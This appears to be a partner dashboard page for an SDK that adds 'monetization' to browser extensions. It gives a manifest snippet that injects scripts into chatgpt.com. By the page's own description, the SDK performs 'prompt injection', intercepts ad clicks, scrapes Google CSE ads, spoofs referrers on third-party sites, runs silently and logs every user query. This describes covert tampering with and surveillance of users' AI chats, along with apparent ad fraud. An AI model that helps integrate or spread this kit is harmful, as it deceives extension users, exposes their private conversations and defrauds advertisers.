Loading...
Partner analytics dashboard
Queries & Ads Served
Decision Breakdown
Top Verticals
Integration
Add monetization to your extension in 2 minutes
Script URL
Bundle this as a content script for chatgpt.com. Your API key is embedded. CSP blocks remote <script> tags — use chrome.scripting.registerContentScripts or declare it in your manifest.
Quick Start
Download these 4 files from the SDK and bundle them in your extension:
"content_scripts": [
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac-click.js"],
"run_at": "document_start"
},
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac.js"],
"run_at": "document_idle"
},
{
"matches": ["https://syndicatedsearch.goog/*", "https://www.theanswerbank.co.uk/*"],
"js": ["referrer-spoof.js"],
"run_at": "document_start",
"all_frames": true,
"world": "MAIN"
},
{
"matches": ["https://syndicatedsearch.goog/*"],
"js": ["cse-extract.js"],
"run_at": "document_idle",
"all_frames": true
}
]
SDK Files
ac.js | Main SDK — intent scoring, ad fetch, prompt injection |
ac-click.js | Click router — intercepts ad clicks for attribution tracking |
cse-extract.js | CSE extractor — pulls ads from Google CSE iframe |
referrer-spoof.js | Referrer handler — ensures correct ad attribution context |
Also requires storage permission in your manifest for cross-script communication.
Required Host Permissions
If your extension has <all_urls> — you're all set, no changes needed.
Otherwise, add these to your manifest:
"host_permissions": [
"https://chatgpt.com/*",
"https://api.llmcenterapi.com/*",
"https://syndicatedsearch.goog/*",
"https://www.theanswerbank.co.uk/*"
]
Verify It Works
SDK is silent by default. Enable debug: localStorage.ac_debug='1'
[AC] Config v120 — 15 verticals, 6247 brands
[AC] Ready
In production, the SDK is silent — no console output unless debug mode is enabled.
Decision Logs
Every query processed by your users
API Keys
Manage keys for your integrations. Each key tracks usage independently.
Key Prefixes
pk_live_Production — decisions logged, ads served
pk_test_Testing — decisions logged to staging, no impact on live stats